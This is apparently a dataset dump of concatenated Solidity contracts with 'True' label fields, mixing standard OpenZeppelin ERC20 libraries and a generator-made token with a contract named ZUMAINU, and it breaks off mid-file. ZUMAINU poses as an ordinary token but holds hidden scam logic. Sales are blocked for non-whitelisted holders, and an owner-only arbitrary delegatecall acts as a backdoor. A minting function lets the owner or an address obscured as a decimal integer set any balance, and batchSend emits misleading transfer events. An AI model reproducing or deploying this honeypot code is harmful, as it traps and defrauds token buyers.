return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | True | [
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] |
// SPDX-License-Identifier: MIT
/*
* Token has been generated using https://vittominacori.github.io/erc20-generator/
*
* NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed
* using the same generator. It is not an issue. It means that you won't need to verify your source code because of
* it is already verified.
*
* DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT.
* The following code is provided under MIT License. Anyone can use it as per their needs.
* The generator's purpose is to make people able to tokenize their ideas without coding or paying for it.
* Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations.
* Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to
* carefully weighs all the information and risks detailed in Token owner's Conditions.
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/service/ServicePayer.sol
pragma solidity ^0.8.0;
interface IPayable {
function pay(string memory serviceName) external payable;
}
/**
* @title ServicePayer
* @dev Implementation of the ServicePayer
*/
abstract contract ServicePayer {
constructor(address payable receiver, string memory serviceName) payable {
IPayable(receiver).pay{value: msg.value}(serviceName);
}
}
// File: contracts/utils/GeneratorCopyright.sol
pragma solidity ^0.8.0;
/**
* @title GeneratorCopyright
* @dev Implementation of the GeneratorCopyright
*/
contract GeneratorCopyright {
string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator";
string private _version;
constructor(string memory version_) {
_version = version_;
}
/**
* @dev Returns the token generator tool.
*/
function generator() public pure returns (string memory) {
return _GENERATOR;
}
/**
* @dev Returns the token generator version.
*/
function version() public view returns (string memory) {
return _version;
}
}
// File: contracts/token/ERC20/SimpleERC20.sol
pragma solidity ^0.8.0;
/**
* @title SimpleERC20
* @author ERC20 Generator (https://vittominacori.github.io/erc20-generator)
* @dev Implementation of the SimpleERC20
*/
contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") {
constructor(
string memory name_,
string memory symbol_,
uint256 initialBalance_,
address payable feeReceiver_
) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") {
require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero");
_mint(_msgSender(), initialBalance_);
}
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-15
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ZUMAINU{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
